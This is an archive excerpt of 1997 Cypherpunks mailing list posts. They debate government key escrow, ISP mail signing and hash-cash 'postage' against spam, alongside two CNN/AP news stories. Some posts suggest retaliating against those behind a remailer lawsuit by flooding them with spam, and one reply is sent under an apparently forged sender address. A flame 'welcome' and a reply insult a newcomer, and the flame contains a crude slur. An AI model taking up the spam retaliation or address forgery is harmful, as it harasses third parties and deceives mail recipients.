    Air France said Thursday that it was reviewing Laor's allegationsand
   would "respond in due course in the appropriate forum" afterconducting
   its own investigation.
   
  'The depth of my embarrassment I cannot begin to describe'
  
   
   
    The lawsuit, filed last month in Manhattan Supreme Court,asserts that
   20 minutes into a flight from Paris to Newark Airporton May 19, crew
   members broke into the locked lavatory andassaulted Laor.
   
   "The crew members then, while Laor was naked from the waistdown,
   dragged him outside the lavatory, exposing his genitals andother body
   parts to many seated passengers, both female and male,"the lawsuit
   said.
   
    "I was terrified," said Laor, 28, who owns a computer
   servicescompany. "My first reaction was 'My God, something must
   havehappened to the plane.'"
   
    "The depth of my embarrassment I cannot begin to describe," hesaid.
   
    Laor says he neither smokes nor drinks, and had opted for anonsmoking
   flight.
   
    He said his protestations were answered with a threat that hewould be
   arrested for arguing with the crew.
   
    The flight purser "told me I did not have the right to expectprivacy"
   and complained that Americans were "always screamingabout their
   rights," Laor said.
   
    "An official apology from Air France would have made adifference, but
   now too much time has elapsed," Laor says.
   
   Copyright 1997 Associated Press. All rights reserved. This material
   may not be published, broadcast, rewritten, or redistributed. rule
   Note: Pages will open in a new browser window.
   
  Related story:
  
   
     * Flight attendant secondhand smoke trial under way - June 2, 1997
       
  Related site:
  
   
     * Air France
       
   
   To Top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Jul 1997 21:43:37 +0800
To: mac-crypto@thumper.vmeng.com
Subject: Re: Clinton nixes domestic encryption right
Message-ID: <v03020909afe29bfd1e58@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: tbell@cato.org
Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 17:10:46 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Tom W. Bell" <tbell@CATO.ORG>
Subject:      Re: Clinton nixes domestic encryption right
To:           CYBERIA-L@LISTSERV.AOL.COM

Phill writes:

>Stuart Baker claims that Gore is the main administration supporter of GAK.
>But others have claimed the exact opposite. I suspect that if Gore really
>supported the GAK idea he would do so publically and explicitly, its a vote
>winner.

For what it's worth, I had dinner Monday with two people from Gore's office
and one of Microsoft's officers.  The Gore people consistently demanded
mandatory key escrow, though they seemed willing to allow private parties to
do the job so long as GAK remained an option.  The Microsoft person only
went so far as to offer to always make key escrow a *feature*, arguing that
this would in practice get the administration all the GAK it wants because
almost everyone would want to escrow their private keys.

The debate unfolded something like this:

Gore people:  "People using really strong encryption will *want* to escrow
their keys.  Otherwise, lost keys will result in irretrievably lost data."

MS person:  "Oh, sure--especially commerical players.  But you underestimate
the amount of resistance *mandated* escrowing will create.  People want to
*choose* to escrow.  If you let them, they will."

Gore people:  "Well, if they're going to escrow anyhow, what's the problem
with mandating it?"

MS person:  "You don't get it.  Our customers care deeply about their
encryption rights, and we want happy customers.  If the administration will
just back off, it will get what it wants--or, at least, as much as it can at
any rate expect."

It presented a classic case of cultural conflict--in this case, political
cultural confronting commercial culture.

Tom W. Bell
-----------
tbell@cato.org
Director, Telecommunications and Technology Studies
The Cato Institute

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 5 Jul 1997 01:49:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <199707031614.SAA27700@basement.replay.com>
Message-ID: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>Anyone heard of a proposal for ISPs to automatically sign outgoing
>mail headers?  Problem has been that spammers send email by one
>path but forge a reply-to or from address at another location.  

Flat-out can't work.  The problem is that you can send
SMTP directly from your machine to its destination,
so the ISP only routes the IP packets and doesn't read them.
It's popular for mail clients like Eudora and Netscape to
send all their mail to an SMTP forwarder, but the main
reasons to do that are to move the complicated work
to a machine that's on line all the time and smart enough
to deal with problems like retrying mail to systems that
don't answer, generating meaningful error messages when
the destination can't accept the mail, forwarding to
systems off in uucp-space, etc.  So it's perfectly
reasonable for mail from joeuser@aol.com to originate
on Joe's PC, with no way for AOL to sign it.
There's also the problem of misconfigured Win95 machines,
where either the operating system or the operator
aren't bright enough to send the correct machine name.
For instance, this mail comes from ca07b8bl.bns.att.com,
as any system that records the HELO messages will tell you,
because when my laptop is at work, that's it's name on the LAN.
Netcom's SMTP forwarder only identifies it by IP and DNS
pax-ca8-10.ix.netcom.com(204.30.66.74) address of the
dialup port it connected to, though other servers I've
used have also passed along, or at least recorded, the ca07b8bl.

Digital signatures take a lot of calculation,
and while CPUs keep getting cheaper, mail volume keeps getting larger.
It's difficult to make server-based signing scale well, especially for the
bigger ISPs.  Netcom's farm of mail servers is large and slow enough already.
You could try to force the user to sign the mail, 
using a signature certified by the ISP, and only forward email 
that's from or to your subscribers - but checking signatures still
requires about as much calculation, and the cheaper approach of 
looking at the signature key without really checking the signature
is easily forged.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks <cypherpunks@toad.com>
Date: Sat, 5 Jul 1997 02:51:52 +0800
To: Moreno Daltin <md546178@silab.dsi.unimi.it>
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD3E9C.1A3B@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Moreno Daltin wrote:
> hi everybody !

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 2 ***
                    MORON
               *** Level 2 ***
  Level 2 is the lowest entry level available. From Level 2, you may
move up to other levels, at which the pinnacle is Cypherpunk Elite, or
down to Level 1, which each member of the Cypherpunks Mailing List (TcM)
has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. (Please note that, as is the case
with one's private parts, bigger is not necessarily better.)

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _MORON_!"
 
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "hi" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, anyway.
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
  "Don't bother giving me credit for my quotes. Nobody else does, and
I'm used to blowing my own horn, anyway."
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 02:01:12 +0800
To: cypherpunks@toad.com
Subject: e$: $MTP?
Message-ID: <v03020916afe2dea80083@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 4 Jul 1997 09:21:12 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: $MTP?

They've been talking on cypherpunks about various ideas for authenticating
the sender of mail, and it brings up something I've been increasing my
agit-prop efforts on lately.

Unfortunately, the ultimate way for any e-mail authentication scheme to
work is for the *whole* message to be signed, headers and all, and then for
the sending SMTP server to sign the message passes it on, headers and all,
and so forth. The consequences of this approach, in terms of machine
resources, not to mention privacy (plus or minus how close you can get to
perfect pseudonymity), will probably be excessive.

The solution, here, I think, is economic, since this is, at root, an
economic problem. It's also one we've talked about here at length on e$.
That solution is postage.

If you use some kind of hash-collision microcoin protocol like
Rivest/Shamir's MicroMint, or the "hash-cash" stuff people have been
talking about on cypherpunks, you end up with a completely off-line,
extremely small value digital cash system which could be used to pay for
stuff like e-mail postage. The only thing you need to do is to encrypt the
payment to the $MTP (:-)) machine, which then sends your mail. The only
overhead is in handling the money, and, since it's handled offline anyway,
the overhead is going to be much less than authenticating signatures either
with an internal table, or, worse, in an on-line scheme of some kind.

However you do the protocol, you probably want to run it on a sender-pays
basis, as that's where all the economic incentive to spam comes from.
Actually, now that I think about it, a truly sender-pays system would mean
that receiver-collects, and so the *receiving* $MTP machine would be the
one which should actually get the money. This is not too far from the idea
of getting paid to read mail, which has also been discussed on cypherpunks
before. The receiving $MTP machine could even raise or lower its postage
price depending on the load at the time, thus auctioning its processing
resources to the highest bidder. People like e-mail spammers, needing to
send messages to you very cheaply would have to wait until the price comes
down. Some of them could wait a very long time. :-).

Frankly, I see no other solution to this problem in the long run except for
postage, which means it's probably time to start figuring out, in earnest,
how to make it all work. Whoever becomes the lowest cost producer of this
kind of software stands to make a whole *bunch* of money.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moreno Daltin <md546178@silab.dsi.unimi.it>
Date: Fri, 4 Jul 1997 20:26:27 +0800
To: cypherpunks@toad.com
Subject: hi
Message-ID: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
MIME-Version: 1.0
Content-Type: text/plain



hi everybody !





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Jul 1997 03:13:46 +0800
To: cypherpunks@toad.com
Subject: Crypto Risks and Rewards
Message-ID: <1.5.4.32.19970704185701.006eac80@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Senators Lott, Burns and Ashcroft discussed encryption
policy reform on June 27. The Deschall crack is cited as
a risk posed by Admin-McCain-Kerrey limitations. Ashcroft 
stated:

   I am privileged to serve on the Senate Judiciary Committee 
   where we will address this issue after the July recess. I 
   pledge to work with members on that Committee and with 
   other interested Senators and the leader to try to move a 
   bill in that committee that will capture the essence of Burns 
   substitute.

   No nationwide key recovery system, or a new licensing 
   requirement for certificate authorities should be brought 
   to the floor without thorough examination, analysis and 
   understanding. We must further study the impact of these 
   provisions well before this bill is brought to the Senate floor. 

For full report:

   http://jya.com/crypto-pr.txt  (14K)

----------

The Law Society of England and Wales has published a
response to the March DTI risky biz for Trusted Third Parties:

   http://jya.com/ttp-lawsoc.htm

----------

For the article Robert Hettinga cited by Thomas Vartanian
on the risks offering CA services:

   http://jya.com/ca-risks.htm

Recall that Mr. Vartanian provided the NSA paper, "How to 
Make a Mint, the Cryptography of Electronic Money:"

   http://jya.com/nsamint.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 5 Jul 1997 06:23:09 +0800
To: Ryan Anderson <cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
Message-ID: <v03102801afe3276d7b67@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:45 PM -0400 7/4/97, Ryan Anderson wrote:
>---------- Forwarded message ----------
>Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
>From: Ryan Anderson <randerso@ece.eng.wayne.edu>
>To: Robert Hettinga <rah@shipwright.com>
>Subject: Re: e$: $MTP?
>
>> Frankly, I see no other solution to this problem in the long run except for
>> postage, which means it's probably time to start figuring out, in earnest,
>> how to make it all work. Whoever becomes the lowest cost producer of this
>> kind of software stands to make a whole *bunch* of money.
>
>We still need to work out how to fit mailing lists fit into this without
>eliminating them entirely. Chargebacks to the subscribers?  If this list
>will work in a proposed plan, I think all the others probably would as
>well.. :-)

If the email program (client or $MTP) creates/maintains a 'known party'
list which isn't expected to include postage this solves the mailing list
problem.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 5 Jul 1997 03:50:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
Message-ID: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: $MTP?

> Frankly, I see no other solution to this problem in the long run except for
> postage, which means it's probably time to start figuring out, in earnest,
> how to make it all work. Whoever becomes the lowest cost producer of this
> kind of software stands to make a whole *bunch* of money.

We still need to work out how to fit mailing lists fit into this without
eliminating them entirely. Chargebacks to the subscribers?  If this list
will work in a proposed plan, I think all the others probably would as
well.. :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: netpiracy@spa.org (Spam Me)
Date: Sat, 5 Jul 1997 07:07:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707030110.DAA05747@basement.replay.com>
Message-ID: <199707030110.DAA05747@spa.org>
MIME-Version: 1.0
Content-Type: text/plain



nobody@replay.com (Anonymous) wrote:

>   Who was it that used the threat of a lawsuit to shut down the
> remailer?
>   I, for one, would be more than happy to make certain that they
> receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
> a mountain of information as to how to do so.

They're probably receiving plenty of spam right about now.  (see From: line)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 07:14:39 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <v03020930afe30702ba08@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:


> ----------------------------------------------------------------------
> Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
>   "Don't bother giving me credit for my quotes. Nobody else does, and
> I'm used to blowing my own horn, anyway."
> ----------------------------------------------------------------------

Say 'amen', somebody.

Oh. I just did, didn't I?

Never mind...

Ironically,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 5 Jul 1997 06:57:47 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707042234.RAA16340@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Serving up Internet solutions @ www.wimbledon.org 
   
     rule
     
                  GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
                                       
      graphic July 4, 1997
     Web posted at: 4:10 p.m. EDT (2010 GMT)
     
     BONN, Germany (AP) -- Germany on Friday became the first country to
     pass a law regulating the free-wheeling global electronic space of
     the Internet.
     
     Chancellor Helmut Kohl's government says the so-called multimedia
     law creates legal clarity that will help boost commercialization of
     cyberspace and combats illegal uses of the Internet such as for
     pornography.
     
     Critics say the law is an example of Germany's urge to regulate and
     may in fact deter investors in Internet services because it does not
     state clearly to what extent the providers would be liable for
     content they don't control.
     
     The law gained final approval in the upper house of parliament, the
     Bundesrat, an unusually swift six months after the government
     proposed it. It takes effect August 1.
     
     "We are entering uncharted territory," said Joerg Appelhans,
     spokesman for Germany's research and technology ministry.
     
     Controversially, the law says online providers can be prosecuted for
     offering a venue for illegal content if they do so knowingly and it
     is "technically possible and reasonable" to prevent it.
     
     This could apply to forums and similar exchanges offered by online
     services without direct control over their content.
     
     However, "the liability provisions for providers are a big unknown,"
     said Christopher Kuner, an Frankfurt attorney specializing in
     cyberspace issues. "It leaves a lot of things open."
     
     The American Chamber of Commerce in Germany says liability for
     Internet services will have to be tested by court rulings, which
     "may cause prudent investors to hesitate."
     
     But research and technology minister Juergen Ruettgers said a law
     was needed, partly to protect German children.
     
     "That applies even to a network that knows no national borders," he
     said. "The Internet is not outside the reach of the law."
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.  rule
     
  Related stories:
  
     * Countries face cyber-control in their own ways - July 1, 1997
     * Supreme Court strikes down Internet smut law - June 26, 1997
       
       Search for related CNN stories:
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     Tip: You can restrict your search to the title of a document.
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     rule Message Boards 
     
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   All Rights Reserved.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 5 Jul 1997 06:18:26 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Clinton nixes domestic encryption right
In-Reply-To: <v03020909afe29bfd1e58@[139.167.130.247]>
Message-ID: <33BD81AF.426D5541@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:

> --- begin forwarded text
>
> X-Sender: tbell@cato.org
> Mime-Version: 1.0
> Date:         Thu, 3 Jul 1997 17:10:46 -0400
> Reply-To:     Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> Sender:       Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> From:         "Tom W. Bell" <tbell@CATO.ORG>
> Subject:      Re: Clinton nixes domestic encryption right
> To:           CYBERIA-L@LISTSERV.AOL.COM
>
> Phill writes:
>
> >Stuart Baker claims that Gore is the main administration supporter of
> GAK.
> >But others have claimed the exact opposite. I suspect that if Gore
> really
> >supported the GAK idea he would do so publically and explicitly, its
> a vote
> >winner.
>
> For what it's worth, I had dinner Monday with two people from Gore's
> office
> and one of Microsoft's officers.  The Gore people consistently
> demanded
> mandatory key escrow, though they seemed willing to allow private
> parties to
> do the job so long as GAK remained an option.  The Microsoft person
> only
> went so far as to offer to always make key escrow a *feature*

"Sir, the government getting your keys *isn't* a bug, it's a feature in
case you have to recover them.  Will the government use them illegally?
No, sir, why would they want to do that?"

> , arguing that
> this would in practice get the administration all the GAK it wants
> because
> almost everyone would want to escrow their private keys.

ROFLMAO.

> The debate unfolded something like this:
>
> Gore people:  "People using really strong encryption will *want* to
> escrow
> their keys.  Otherwise, lost keys will result in irretrievably lost
> data."

And so that gorny geeks at the NSA can read mails relating to a grope in
the store room.

> MS person:  "Oh, sure--especially commerical players.  But you
> underestimate
> the amount of resistance *mandated* escrowing will create.  People
> want to
> *choose* to escrow.  If you let them, they will."

I choose to never escrow my keys.  It's my business, no one elses to
read my mail.

> Gore people:  "Well, if they're going to escrow anyhow, what's the
> problem
> with mandating it?"

> MS person:  "You don't get it.  Our customers care deeply about their
> encryption rights, and we want happy customers.  If the administration
> will
> just back off, it will get what it wants--or, at least, as much as it
> can at
> any rate expect."
>
> It presented a classic case of cultural conflict--in this case,
> political
> cultural confronting commercial culture.

To quote TV's Butt-Head, from Beavis & Butt-head: "Some people are
dumb."

> Tom W. Bell
> -----------
> tbell@cato.org
> Director, Telecommunications and Technology Studies
> The Cato Institute
>
> --- end forwarded text
>
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 5 Jul 1997 06:36:39 +0800
To: cypherpunks@toad.com
Subject: Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD8329.3E478C4D@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Moreno Daltin wrote:

> hi everybody !

What?  Who the hell are you?
God, so stupid crap like this can come from .mil domains, from AOLers,
and now from somewhere else.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 5 Jul 1997 12:12:30 +0800
To: Joichi Ito <jito@eccosys.com>
Subject: Re: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: <Pine.SOL.3.95.970705000214.24715B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain



Greetings!

In addition to 
http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm

I suggest

http://www.crypto.com/key_study/report.shtml

Also, other interesting links from

http://www.crypto.com


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 08:43:50 +0800
To: cypherpunks@toad.com
Subject: Fuck the Fourth (and the First, Second....)
Message-ID: <199707050032.CAA08156@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote:
>     Most Americans should be ashamed to celebrate the Fourth

>   Recently, President Clinton's then-Drug Czar, Lee Brown, told me the role
> of government is to protect the people from dangers, such as drugs. I
> corrected him, saying, "No, the role of government is to protect our
> liberties."
> 
>   "We'll just have to disagree on that," the president's appointee said.

  Since the government was incapable of protecting either the people
at Waco or those at OKC, then who exactly are they protecting?
 
>   The War for American Independence began over unregistered, untaxed guns,
> when British forces attempted to seize arsenals of rifles, powder and ball
> from the hands of ill-organized Patriot militias in Lexington and Concord.
> American civilians shot and killed scores of these government agents as
> they marched back to Boston. Are those Minutemen still our heroes? Or do we
> now consider them "dangerous terrorists" and "depraved government-haters"?

  We consider them Branch Davadians.
 
>   In "The Federalist" No. 46, James Madison told us we need have no fear of
> any federal tyranny ever taking away our rights, arguing that under his
> proposed Constitution "the ultimate authority ... resides in the people
> alone," and predicting that any usurpation of powers not specifically
> delegated would lead to "plans of resistance" and "appeal to a trial of
> force."

  This was before Dan Rather and Kookie Roberts became "the ultimate
authority." Since they have to compete with Bart Simpson for ratings,
their primary interest is in making sure that the citizens don't "have
a cow" during their broadcast.
  {"Today, all rights and freedoms of the citizens were suspended by
Executive Order. And, in the lighter side of the news..." <cut to
"cute puppy" story>}

>   Another prominent federalist, Noah Webster, wrote in 1787: "Before a
> standing army can rule, the people must be disarmed; as they are in almost
> every kingdom in Europe."

  Adolph Hitler obviously understood what Noah Webster was writing
about.
If we could get the writings made into a TV movie (or a cartoon), there
might be a minute chance to get the American public to understand, as
well. 

>   In Phoenix last week, an air conditioner repairman and former Military
> Policeman named Chuck Knight was convicted by jurors -- some tearful -- who
> said they "had no choice" under the judge's instructions, on a single
> federal "conspiracy" count of associating with others who owned automatic
> rifles on which they had failed to pay a $200 "transfer tax" -- after a
> trial in which defense attorney Ivan Abrams says he was forbidden to bring
> up the Second Amendment as a defense.
> 
>   Were the Viper Militia readying "plans of resistance," as recommended by
> Mr. Madison? Would the Constitution ever have been ratified, had Mr.
> Madison and his fellow federalists warned the citizens that such
> non-violent preparations would get their weapons seized, and land them in
> jail for decades?
> 
>   Happy Fourth of July.
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  Is it still legal to say this stuff? Perhaps we need a new law that...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 5 Jul 1997 15:30:50 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: $MTP?
In-Reply-To: <v03020933afe333001f77@[139.167.130.247]>
Message-ID: <Pine.GSO.3.95.970705032112.1436D-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, Robert Hettinga wrote:

> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> Send 'em collect? Postage due? :-).
> 
> Or, maybe people buy subscriptions? Of course, since you're collecting the
> postage, you owe it to yourself...
> 
> Curioser and curiouser...

Well, as a thought, I'm on BugTraq as well, and it periodically forces you
to renew your subscription to the list.  If everything required this (or
some sort of it) you could simply charge a large amount for the renewals,
based on expected cost over the next time period.  Your initial
subscription would be costed based upon the average of all the
subscribers.  

This might be the simplest way, though charging a bunch for a specific
message could be complicated..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 10:41:20 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery Policy in Japan
Message-ID: <199707050229.EAA20948@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> 
> Hi folks. I'm on a Japanese National Police Agency study group board working
